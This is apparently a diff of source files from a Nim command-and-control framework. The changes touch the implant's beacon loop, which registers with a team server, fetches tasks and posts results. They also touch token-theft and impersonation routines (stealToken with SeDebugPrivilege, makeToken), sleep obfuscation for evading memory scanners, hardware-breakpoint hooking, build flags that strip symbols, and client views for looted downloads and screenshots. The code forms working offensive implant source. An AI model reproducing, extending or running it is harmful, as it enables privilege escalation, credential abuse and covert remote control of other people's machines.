status = apis.NtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, status.getNtError())
pGroups = cast[PTOKEN_GROUPS](LocalAlloc(LMEM_FIXED, returnLength))
if pGroups == NULL:
raise newException(CatchableError, GetLastError().getError())
defer: LocalFree(cast[HLOCAL](pGroups))
status = apis.NtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
let
groupCount = pGroups.GroupCount
groups = cast[ptr UncheckedArray[SID_AND_ATTRIBUTES]](addr pGroups.Groups[0])
result &= fmt"Group memberships ({groupCount})" & "\n"
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
result &= fmt" - {apis.sidToString(group.Sid):<50} {apis.sidToName(group.Sid)}" & "\n"
proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
pPrivileges: PTOKEN_PRIVILEGES
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, status.getNtError())
pPrivileges = cast[PTOKEN_PRIVILEGES](LocalAlloc(LMEM_FIXED, returnLength))
if pPrivileges == NULL:
raise newException(CatchableError, GetLastError().getError())
defer: LocalFree(cast[HLOCAL](pPrivileges))
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
let
privCount = pPrivileges.PrivilegeCount
privs = cast[ptr UncheckedArray[LUID_AND_ATTRIBUTES]](addr pPrivileges.Privileges[0])
result &= fmt"Privileges ({privCount})" & "\n"
for i, priv in privs.toOpenArray(0, int(privCount) - 1):
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled"
result &= fmt" - {apis.privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
proc getTokenInfo*(hToken: HANDLE): string =
let apis = initApis()
let (tokenId, tokenType) = apis.getTokenStatistics(hToken)
result &= fmt"TokenID: 0x{tokenId}" & "\n"
result &= fmt"Type: {tokenType}" & "\n"
let (username, sid) = apis.getTokenUser(hToken)
result &= fmt"User: {username}" & "\n"
result &= fmt"SID: {sid}" & "\n"
let isElevated = apis.getTokenElevation(hToken)
result &= fmt"Elevated: {$isElevated}" & "\n"
result &= apis.getTokenGroups(hToken )
result &= apis.getTokenPrivileges(hToken)
#[
Impersonate token
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281
]#
proc impersonate*(apis: Apis, hToken: HANDLE) =
var
status: NTSTATUS
qos: SECURITY_QUALITY_OF_SERVICE
oa: OBJECT_ATTRIBUTES
impersonationToken: HANDLE = 0
returnLength: ULONG = 0
duplicated: bool = false
if apis.getTokenStatistics(hToken).tokenType == protect("Primary"):
# Create a duplicate impersonation token
qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE))
qos.ImpersonationLevel = securityImpersonation
qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING
qos.EffectiveOnly = FALSE
oa.Length = cast[DWORD](sizeof(OBJECT_ATTRIBUTES))
oa.RootDirectory = 0
oa.ObjectName = NULL
oa.Attributes = 0
oa.SecurityDescriptor = NULL
oa.SecurityQualityOfService = addr qos
status = apis.NtDuplicateToken(hToken, TOKEN_IMPERSONATE or TOKEN_QUERY, addr oa, FALSE, tokenImpersonation, addr impersonationToken)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
else:
# Use the original token if it is already an impersonation token
impersonationToken = hToken
# Impersonate the token in the current thread (ImpersonateLoggedOnUser)
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr impersonationToken, cast[ULONG](sizeof(HANDLE)))
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
defer: discard apis.NtClose(impersonationToken)
#[
Revert to original access token
RevertToSelf() API implemented using Native API
]#
proc rev2self*() =
let apis = initApis()
var
status: NTSTATUS = 0
hToken: HANDLE = 0
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr hToken, cast[ULONG](sizeof(HANDLE)))
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
#[
Create a new access token from a username, password and domain name triplet.
Using LOGON32_LOGON_NEW_CREDENTIALS creates a netonly security context (same as using runas.exe /netonly)
This means that nothing changes locally, the user returned by "getTokenOwner" is the same as the current user.
In the network, we are represented by the credentials of the user we created the token for, allowing us to inject Kerberos tickets, etc. to impersonate that user.
The LOGON32_LOGON_NEW_CREDENTIALS logon type does not validate credentials.
Using other logon types (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)
changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function.
]#
proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): string =
let apis = initApis()
if username == "" or password == "" or domain == "":
raise newException(CatchableError, protect("Invalid format."))
rev2self()
var hToken: HANDLE
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
raise newException(CatchableError, GetLastError().getError())
defer: discard apis.NtClose(hToken)
apis.impersonate(hToken)
return apis.getTokenUser(hToken).username
proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
let apis = initApis()
var
status: NTSTATUS = 0
tokenPrivs: TOKEN_PRIVILEGES
oldTokenPrivs: TOKEN_PRIVILEGES
luid: LUID
returnLength: DWORD
let hToken = getCurrentToken(TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY)
defer: discard apis.NtClose(hToken)
if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE:
raise newException(CatchableError,GetLastError().getError())
# Enable privilege
tokenPrivs.PrivilegeCount = 1
tokenPrivs.Privileges[0].Luid = luid
tokenPrivs.Privileges[0].Attributes = if enable: SE_PRIVILEGE_ENABLED else: 0
status = apis.NtAdjustPrivilegesToken(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
let action = if enable: protect("Enabled") else: protect("Disabled")
return fmt"{action} {apis.privilegeToString(addr luid)}."
#[
Steal the access token of a remote process and impersonate it
This requires SYSTEM privileges to work reliably. Even running as a regular Administrator user might not be sufficient to steal access tokens of other processes
A work-around is to impersonate NT AUTHORITY\SYSTEM first by stealing the token of a process like winlogon.exe, and then using this token to steal other user's tokens
]#
proc stealToken*(pid: int): string =
let apis = initApis()
var
status: NTSTATUS
hProcess: HANDLE
hToken: HANDLE
clientId: CLIENT_ID
oa: OBJECT_ATTRIBUTES
# Enable the SeDebugPrivilege in the current token
# This privilege is required in order to duplicate and impersonate the access token of a remote process
discard enablePrivilege(protect("SeDebugPrivilege"))
InitializeObjectAttributes(addr oa, NULL, 0, 0, NULL)
clientId.UniqueProcess = cast[HANDLE](pid)
clientId.UniqueThread = 0
# Open a handle to the target process
status = apis.NtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
defer: discard apis.NtClose(hProcess)
# Open a handle to the primary access token of the target process
status = apis.NtOpenProcessToken(hProcess, TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, addr hToken)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
defer: discard apis.NtClose(hToken)
apis.impersonate(hToken)
return apis.getTokenUser(hToken).username

View File

@@ -1,56 +1,69 @@
import strformat, os, times, system, base64
import core/[http, context, sleepmask]
import times, system, random, strformat
import core/[http, context, sleepmask, exit]
import utils/io
import protocol/[task, result, heartbeat, registration]
import ../common/[types, utils, crypto]
proc main() =
randomize()
# Initialize agent context
var ctx = AgentCtx.init()
if ctx == nil:
quit(0)
# Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if not ctx.httpPost(registrationBytes):
echo "[-] Agent registration failed."
quit(0)
echo fmt"[+] [{ctx.agentId}] Agent registered."
#[
Agent routine:
1. Sleep Obfuscation
2. Retrieve task from /tasks endpoint
3. Execute task and post result to /results
4. If additional tasks have been fetched, go to 2.
5. If no more tasks need to be executed, go to 1.
1. Sleep obfuscation
2. Check kill date
3. Register to the team server if not already connected
4. Retrieve tasks via checkin request to a GET endpoint
5. Execute task and post result
6. If additional tasks have been fetched, go to 3.
7. If no more tasks need to be executed, go to 1.
]#
while true:
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo "\n", fmt"[*] [{date}] Checking in."
try:
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
# Check kill date and exit the agent process if it is reached
if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate:
print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)."
print "[*] Exiting."
exit()
# Register
if not ctx.registered:
# Create registration payload
var registration: Registration = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
continue
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
print "\n", fmt"[*] [{date}] Checking in."
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
# The check-in request contains the agentId and listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = ctx.createHeartbeat()
let
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
packet: string = ctx.httpGet(heartbeatBytes)
if packet.len <= 0:
echo "[*] No tasks to execute."
print "[*] No tasks to execute."
continue
let tasks: seq[Task] = ctx.deserializePacket(packet)
if tasks.len <= 0:
echo "[*] No tasks to execute."
print "[*] No tasks to execute."
continue
# Execute all retrieved tasks and return their output to the server
@@ -61,7 +74,7 @@ proc main() =
ctx.httpPost(resultBytes)
except CatchableError as err:
echo "[-] ", err.msg
print "[-] ", err.msg
when isMainModule:
main()

View File

@@ -3,6 +3,7 @@
-d:release
--opt:size
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="12"
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511"
-d:VERBOSE="true"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -1,5 +1,5 @@
import times, zippy
import ../../common/[types, serialize, sequence, utils, crypto]
import ../../common/[types, serialize, utils, crypto]
proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
return Heartbeat(

View File

@@ -1,4 +1,4 @@
import winim, os, net, strformat, strutils, registry, zippy
import winim, os, net, strutils, registry, zippy
import ../../common/[types, serialize, sequence, crypto, utils]
import ../../modules/manager
@@ -33,12 +33,13 @@ proc getUsername(): string =
if getDomain() != "":
# If domain-joined, return username in format DOMAIN\USERNAME
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
else:
# If not domain-joined, only return USERNAME
discard GetUsernameW(&buffer, &dwSize)
return $buffer[0 ..< int(dwSize) - 1]
# Current process name
proc getProcessExe(): string =
let
@@ -50,7 +51,7 @@ proc getProcessExe(): string =
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
# We replace trailing NULL bytes to prevent them from being sent as JSON data
return string($buffer).extractFilename().replace("\u0000", "")
return ($buffer).extractFilename().replace("\u0000", "")
finally:
CloseHandle(hProcess)
@@ -164,11 +165,11 @@ proc getProductType(): ProductType =
# Using the 'registry' module, we can get the exact registry value
case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
of "WinNT":
of protect("WinNT"):
return WORKSTATION
of "ServerNT":
of protect("ServerNT"):
return SERVER
of "LanmanNT":
of protect("LanmanNT"):
return DC
proc getOSVersion(): string =
@@ -193,9 +194,9 @@ proc getOSVersion(): string =
else:
return protect("Unknown")
proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
proc collectAgentMetadata*(ctx: AgentCtx): Registration =
return AgentRegistrationData(
return Registration(
header: Header(
magic: MAGIC,
version: VERSION,
@@ -218,12 +219,13 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
process: string.toBytes(getProcessExe()),
pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](ctx.sleep),
sleep: cast[uint32](ctx.sleepSettings.sleepDelay),
jitter: cast[uint32](ctx.sleepSettings.jitter),
modules: cast[uint32](MODULES)
)
)
proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): seq[byte] =
proc serializeRegistrationData*(ctx: AgentCtx, data: var Registration): seq[byte] =
var packer = Packer.init()
@@ -239,6 +241,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
.add(data.metadata.pid)
.add(data.metadata.isElevated)
.add(data.metadata.sleep)
.add(data.metadata.jitter)
.add(data.metadata.modules)
let metadata = packer.pack()

View File

@@ -1,6 +1,6 @@
import strutils, tables, json, strformat, zippy
import zippy, strformat
import ./result
import ../utils/io
import ../../modules/manager
import ../../common/[types, serialize, sequence, crypto, utils]
@@ -61,7 +61,7 @@ proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] =
var unpacker = Unpacker.init(packet)
var taskCount = unpacker.getUint8()
echo fmt"[*] Response contained {taskCount} tasks."
print fmt"[*] Response contained {taskCount} tasks."
if taskCount <= 0:
return @[]

View File

@@ -1,5 +1,5 @@
import winim/lean
import ../../common/utils
import ./io
# From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim
@@ -33,8 +33,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] GetThreadContext Failed: "), GetLastError()
return false
raise newException(CatchableError, GetLastError().getError())
case drx:
of Dr0:
@@ -59,8 +58,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1)
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] SetThreadContext Failed: "), GetLastError()
return false
raise newException(CatchableError, GetLastError().getError())
return true
@@ -69,8 +67,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] GetThreadContext Failed: "), GetLastError()
return false
raise newException(CatchableError, GetLastError().getError())
# Remove the address of the hooked function from the thread context
case drx:
@@ -87,8 +84,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0)
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] SetThreadContext Failed"), GetLastError()
return false
raise newException(CatchableError, GetLastError().getError())
return true
@@ -196,7 +192,7 @@ proc initializeHardwareBPVariables*(): bool =
# Add 'VectorHandler' as the VEH
g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler))
if cast[int](g_VectorHandler) == 0:
echo protect("[!] AddVectoredExceptionHandler Failed")
raise newException(CatchableError, GetLastError().getError())
return false
if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0:

31
src/agent/utils/io.nim Normal file
View File

@@ -0,0 +1,31 @@
import winim/lean
import macros
import strutils, strformat
import ../../common/utils
const VERBOSE* {.booldefine.} = false
type
RtlNtStatusToDosError = proc(status: NTSTATUS): DWORD {.stdcall.}
# Only print to console when VERBOSE mode is enabled
template print*(args: varargs[untyped]): untyped =
when defined(VERBOSE) and VERBOSE == true:
echo args
else:
discard
# Convert Windows API error to readable value
# https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage
proc getError*(errorCode: DWORD): string =
var msg = newWString(512)
FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_IGNORE_INSERTS, NULL, errorCode, cast[DWORD](MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT)), msg, cast[DWORD](msg.len()), NULL)
msg.nullTerminate()
return strip($msg) & fmt" ({$errorCode})"
# Convert NTSTATUS to readable value
# https://ntdoc.m417z.com/rtlntstatustodoserror
proc getNtError*(status: NTSTATUS): string =
let pRtlNtStatusToDosError = cast[RtlNtStatusToDosError](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("RtlNtStatusToDosError")))
let errorCode = pRtlNtStatusToDosError(status)
return getError(errorCode)

View File

@@ -3,6 +3,7 @@ switch "o", "bin/client"
switch "d", "ssl"
switch "d", "client"
switch "d", "ImGuiTextSelect"
switch "d", "ImPlotEnable"
# Select compiler
var TC = "gcc"
@@ -14,7 +15,7 @@ switch "app", "gui"
# Select static link or shared/dll link
when defined(windows):
const STATIC_LINK_GLFW = false
const STATIC_LINK_CC = true #libstd++ or libc
const STATIC_LINK_CC = false #libstd++ or libc
if TC == "vcc":
switch "passL","d3d9.lib kernel32.lib user32.lib gdi32.lib winspool.lib"
switch "passL","comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib"
@@ -28,6 +29,18 @@ else: # for Linux
when STATIC_LINK_GLFW: # GLFW static link
switch "define","glfwStaticLib"
when defined(windows):
discard # Windows-specific handling if needed
else: # Linux
switch "passL","-lglfw"
switch "passL","-lX11"
switch "passL","-lXrandr"
switch "passL","-lXinerama"
switch "passL","-lXcursor"
switch "passL","-lXi"
switch "passL","-lpthread"
switch "passL","-ldl"
switch "passL","-lm"
else: # shared/dll
when defined(windows):
if TC == "vcc":
@@ -38,6 +51,8 @@ else: # shared/dll
#switch "define","cimguiDLL"
else:
switch "passL","-lglfw"
# Add X11 libs for shared linking too
switch "passL","-lX11"
when STATIC_LINK_CC: # gcc static link
case TC
@@ -75,3 +90,4 @@ case TC
switch "cc.exe","clang"
switch "cc.linkerexe","clang"
switch "cc",TC

View File

@@ -1,6 +1,6 @@
import std/paths
import strutils, sequtils, times, tables
import ../common/[types, sequence, crypto, utils, serialize]
import strutils, sequtils, times
import ../../common/[types, sequence, crypto, utils, serialize]
proc parseInput*(input: string): seq[string] =
var i = 0

View File

@@ -1,6 +1,5 @@
import whisky
import times, tables, json, base64
import ../common/[types, utils, serialize, event]
import times, json, base64
import ../../common/[types, utils, event]
export sendHeartbeat, recvEvent
#[
@@ -38,23 +37,49 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor
let event = Event(
eventType: CLIENT_AGENT_BUILD,
timestamp: now().toTime().toUnix(),
data: %*{
"listenerId": buildInformation.listenerId,
"sleepDelay": buildInformation.sleepDelay,
"sleepTechnique": cast[uint8](buildInformation.sleepTechnique),
"spoofStack": buildInformation.spoofStack,
"modules": buildInformation.modules
}
data: %buildInformation
)
connection.ws.sendEvent(event, connection.sessionKey)
proc sendAgentTask*(connection: WsConnection, agentId: string, task: Task) =
proc sendAgentTask*(connection: WsConnection, agentId: string, command: string, task: Task) =
let event = Event(
eventType: CLIENT_AGENT_TASK,
timestamp: now().toTime().toUnix(),
data: %*{
"agentId": agentId,
"command": command,
"task": task
}
)
connection.ws.sendEvent(event, connection.sessionKey)
proc sendAgentRemove*(connection: WsConnection, agentId: string) =
let event = Event(
eventType: CLIENT_AGENT_REMOVE,
timestamp: now().toTime().toUnix(),
data: %*{
"agentId": agentId
}
)
connection.ws.sendEvent(event, connection.sessionKey)
proc sendRemoveLoot*(connection: WsConnection, lootId: string) =
let event = Event(
eventType: CLIENT_LOOT_REMOVE,
timestamp: now().toTime().toUnix(),
data: %*{
"lootId": lootId
}
)
connection.ws.sendEvent(event, connection.sessionKey)
proc sendGetLoot*(connection: WsConnection, lootId: string) =
let event = Event(
eventType: CLIENT_LOOT_GET,
timestamp: now().toTime().toUnix(),
data: %*{
"lootId": lootId
}
)
connection.ws.sendEvent(event, connection.sessionKey)

View File

@@ -1,17 +1,19 @@
import whisky
import tables, strutils, strformat, json, parsetoml, base64, os # native_dialogs
import tables, times, strutils, strformat, json, parsetoml, base64, native_dialogs
import ./utils/[appImGui, globals]
import ./views/[dockspace, sessions, listeners, eventlog, console]
import ./views/loot/[screenshots, downloads]
import ./views/modals/generatePayload
import ../common/[types, utils, crypto]
import ./websocket
import sugar
import ./core/websocket
proc main(ip: string = "localhost", port: int = 37573) =
var app = createApp(1024, 800, imnodes = true, title = "Conquest", docking = true)
defer: app.destroyApp()
var imPlotContext = ImPlot_CreateContext()
defer: imPlotContext.ImPlotDestroyContext()
var
profile: Profile
views: Table[string, ptr bool]
@@ -19,6 +21,8 @@ proc main(ip: string = "localhost", port: int = 37573) =
showSessionsTable = true
showListeners = true
showEventlog = true
showDownloads = false
showScreenshots = false
consoles: Table[string, ConsoleComponent]
var
@@ -30,18 +34,22 @@ proc main(ip: string = "localhost", port: int = 37573) =
views["Sessions [Table View]"] = addr showSessionsTable
views["Listeners"] = addr showListeners
views["Eventlog"] = addr showEventlog
views["Loot:Downloads"] = addr showDownloads
views["Loot:Screenshots"] = addr showScreenshots
# Create components
var
dockspace = Dockspace()
sessionsTable = SessionsTable("Sessions [Table View]", addr consoles)
listenersTable = ListenersTable("Listeners")
eventlog = Eventlog("Eventlog")
sessionsTable = SessionsTable(WIDGET_SESSIONS, addr consoles)
listenersTable = ListenersTable(WIDGET_LISTENERS)
eventlog = Eventlog(WIDGET_EVENTLOG)
lootDownloads = LootDownloads(WIDGET_DOWNLOADS)
lootScreenshots = LootScreenshots(WIDGET_SCREENSHOTS)
let io = igGetIO()
# Create key pair
let clientKeyPair = generateKeyPair()
var clientKeyPair = generateKeyPair()
# Initiate WebSocket connection
var connection = WsConnection(
@@ -69,11 +77,13 @@ proc main(ip: string = "localhost", port: int = 37573) =
connection.ws.sendHeartbeat()
# Receive and parse websocket response message
try:
let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey)
case event.eventType:
of CLIENT_KEY_EXCHANGE:
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
connection.sendPublicKey(clientKeyPair.publicKey)
wipeKey(clientKeyPair.privateKey)
of CLIENT_PROFILE:
profile = parsetoml.parseString(event.data["profile"].getStr())
